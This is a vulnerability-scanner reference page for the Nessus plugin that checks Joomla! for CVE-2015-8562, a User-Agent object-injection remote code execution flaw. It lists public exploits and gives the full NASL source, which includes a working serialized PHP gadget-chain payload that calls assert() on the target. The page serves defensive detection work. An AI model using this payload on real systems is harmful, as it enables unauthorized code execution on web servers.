Joomla! User-Agent Object Injection RCE - Nessus

Critical Plugin ID: 88489

This page contains detailed information about the Joomla! User-Agent Object Injection RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 88489
Name: Joomla! User-Agent Object Injection RCE
Filename: joomla_object_injection.nasl
Vulnerability Published: 2015-12-12
This Plugin Published: 2016-01-29
Last Modification Time: 2022-04-11
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: joomla_detect.nasl
Required KB Items [?]: installed_sw/Joomla!, www/PHP

Vulnerability Information

Severity: Critical
Vulnerability Published: 2015-12-12
Patch Published: 2015-12-14
CVE [?]: CVE-2015-8562
CPE [?]: cpe:/a:joomla:joomla!

Synopsis

The remote web server contains a PHP application that is affected by a remote code execution vulnerability.

Description

The Joomla! application running on the remote web server is affected by a remote code execution vulnerability due to improper sanitization of the User-Agent header field when saving session values. An unauthenticated, remote attacker can exploit this, via a serialized PHP object, to execute arbitrary PHP code.

Solution

Upgrade to Joomla! version 3.4.6 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Joomla! User-Agent Object Injection RCE vulnerability:

Metasploit: exploit/multi/http/joomla_http_header_rce
[Joomla HTTP Header Unauthenticated Remote Code Execution]
Exploit-DB: exploits/php/webapps/38977.py
[EDB-38977: Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution]
Exploit-DB: exploits/php/webapps/39033.py
[EDB-39033: Joomla! 1.5 < 3.4.6 - Object Injection 'x-forwarded-for' Header Remote Code Execution]
GitHub: https://github.com/NCSU-DANCE-Research-Group/CDL
[CVE-2015-8562]
GitHub: https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC
[CVE-2015-8562: A proof of concept for Joomla's CVE-2015-8562 vulnerability]
GitHub: https://github.com/SexyBeast233/SecBooks
[CVE-2015-8562]
GitHub: https://github.com/VoidSec/Joomla_CVE-2015-8562
[CVE-2015-8562: A proof of concept for Joomla's CVE-2015-8562 vulnerability (Object Injection RCE) ...]
GitHub: https://github.com/WangYihang/Exploit-Framework
[CVE-2015-8562]
GitHub: https://github.com/ZaleHack/joomla_rce_CVE-2015-8562
[CVE-2015-8562: All versions of the Joomla! below 3.4.6 are known to be vulnerable. But exploitation ...]
GitHub: https://github.com/atcasanova/cve-2015-8562-exploit
[CVE-2015-8562: CVE-2015-8562 Exploit in bash]
GitHub: https://github.com/guanjivip/CVE-2015-8562
[CVE-2015-8562: 没有编写完成，以后学习更多知识在回来完善]
GitHub: https://github.com/jweny/pocassistdb
[CVE-2015-8562]
GitHub: https://github.com/lorenzodegiorgi/setup-cve-2015-8562
[CVE-2015-8562: Docker-compose to set up a test environment for exploiting CVE-2015-8562]
GitHub: https://github.com/paralelo14/CVE-2015-8562
[CVE-2015-8562: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header]
GitHub: https://github.com/paralelo14/JoomlaMassExploiter
[CVE-2015-8562: [discontinued] Mass exploiter of CVE 2015-8562 for Joomla! CMS]
GitHub: https://github.com/paralelo14/google_explorer
[CVE-2015-8562]
GitHub: https://github.com/thejackerz/scanner-exploit-joomla-CVE-2015-8562
[CVE-2015-8562]
GitHub: https://github.com/xnorkl/Joomla_Payload
[CVE-2015-8562: Adapted CVE-2015-8562 payload]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:ND

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:X

CVSS Base Score:	9.8 (Critical)
Impact Subscore:	5.9
Exploitability Subscore:	3.9
CVSS Temporal Score:	9.1 (Critical)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.1 (Critical)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(88489);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-8562");
  script_bugtraq_id(79195);
  script_xref(name:"EDB-ID", value:"38977");
  script_xref(name:"EDB-ID", value:"39033");

  script_name(english:"Joomla! User-Agent Object Injection RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Joomla! application running on the remote web server is affected
by a remote code execution vulnerability due to improper sanitization
of the User-Agent header field when saving session values. An
unauthenticated, remote attacker can exploit this, via a serialized
PHP object, to execute arbitrary PHP code.");
  # https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bec8944e");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Joomla! version 3.4.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Joomla HTTP Header Unauthenticated Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");
  script_cwe_id(20);

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/12/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/12/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2016-2022 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("audit.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

function gen_php_object_payload(str)
{
  local_var objectPayload, injectedCommand, injectionTemplate;

  injectedCommand = "die(md5('"+str+"'));";
  injectionTemplate = injectedCommand+';JFactory::getConfig();exit;';

  objectPayload = '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}';
  objectPayload += 's:8:"feed_url";s:'+strlen(injectionTemplate)+':"'+injectionTemplate+'";';
  objectPayload += 's:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}';
  objectPayload += '\xf0\x9d\x8c\x86';

  return objectPayload;
}

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);

hashString = "NESSUS" + rand_str(charset:"0123456789", length:5);
hashVal = MD5(hashString);
objectInjectionPayload = gen_php_object_payload(str: hashString);

# Send object injection payload in User-Agent.
clear_cookiejar();
r = http_send_recv3(method: "GET",
  item: dir + "/index.php",
  port:port,
  add_headers: make_array("User-Agent", objectInjectionPayload),
  exit_on_fail : TRUE
);
req1 = http_last_sent_request();

headers = parse_http_headers(status_line:r[0], headers:r[1]);
if (isnull(headers)) audit(AUDIT_WEB_NO_SERVER_HEADER, port);

cookie = headers['set-cookie'];
if (isnull(cookie)) exit(1, "Did not receive a session cookie in the first request to the " +app+ " install at " + install_url);

# Check for executed payload in next request
r = http_send_recv3(
  method : "GET",
  item   : dir + "/index.php",
  port   : port,
  add_headers  : make_array("Cookies", cookie),
  exit_on_fail : TRUE
);

# The hash value was not in the response, so the exploit did not work
if(hexstr(hashVal) >!< r[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

output = strstr(r[2], hexstr(hashVal));
if (empty_or_null(output)) output = r[2];

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  generic     : TRUE,
  request     : make_list(req1, http_last_sent_request()),
  output      : chomp(output)
);
exit(0);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/joomla_object_injection.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\joomla_object_injection.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/joomla_object_injection.nasl

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How to Run

Here is how to run the Joomla! User-Agent Object Injection RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Joomla! User-Agent Object Injection RCE plugin ID 88489.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl joomla_object_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a joomla_object_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - joomla_object_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state joomla_object_injection.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

79195

CWE | Common Weakness Enumeration:

CWE-20 (Weakness) Improper Input Validation

See also:

Similar and related Nessus plugins:

87483 - FreeBSD : joomla -- multiple vulnerabilities (a9f60ce8-a4e0-11e5-b864-14dae9d210b8)
87416 - Joomla! < 3.4.6 Multiple Vulnerabilities
22298 - Joomla! < 1.0.11 Unspecified Remote Code Execution
22297 - Joomla! < 1.0.11 administrator/index.php Input Weakness
66389 - Joomla! 2.5.x < 2.5.10 / 3.0.x < 3.0.4 Multiple Vulnerabilities
69273 - Joomla! 2.5.x < 2.5.14 / 3.x < 3.1.5 .php. File Upload RCE
64634 - Joomla! 2.5.x < 2.5.9 / 3.0.x < 3.0.3 Multiple Vulnerabilities
73025 - Joomla! 3.x < 3.2.3 Multiple Vulnerabilities
78088 - Joomla! 2.5.x < 2.5.26 / 3.x < 3.2.6 / 3.3.x < 3.3.5 Multiple Vulnerabilities
86655 - Joomla! 3.x < 3.4.5 Multiple Vulnerabilities
94355 - Joomla! 3.4.4 < 3.6.4 Multiple Vulnerabilities
95916 - Joomla! < 3.6.5 Multiple Vulnerabilities
99691 - Joomla! < 3.7.0 Multiple Vulnerabilities
100385 - Joomla! 3.7.x < 3.7.1 fields.php getListQuery() Method SQLi
101300 - Joomla! 1.7.3 < 3.7.3 Multiple Vulnerabilities
103383 - Joomla! 1.5.0 < 3.8.0 Multiple Vulnerabilities
104478 - Joomla! 1.5.0 < 3.8.2 Multiple Vulnerabilities
106631 - Joomla! 1.5.0 < 3.8.4 Multiple Vulnerabilities
108564 - Joomla! 3.5.0 < 3.8.6 User Notes List View SQL Injection
121188 - Joomla! < 3.9.2 Multiple Stored XSS Vulnerabilities
123954 - Joomla! 1.5.0 < 3.9.5 Multiple Vulnerabilities
43636 - Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities
45490 - Joomla! / Mambo Component 'view' Parameter Local File Include
33882 - Joomla! reset.php Reset Token Validation Forgery
25992 - Joomla! CMS com_search Component 'searchword' Parameter RCE
44689 - Joomla! JoomlaWorks AllVideos Plugin 'file' Parameter Directory Traversal
25823 - Joomla! com_content Component 'order' Parameter XSS

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file joomla_object_injection.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

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Joomla! User-Agent Object Injection RCE - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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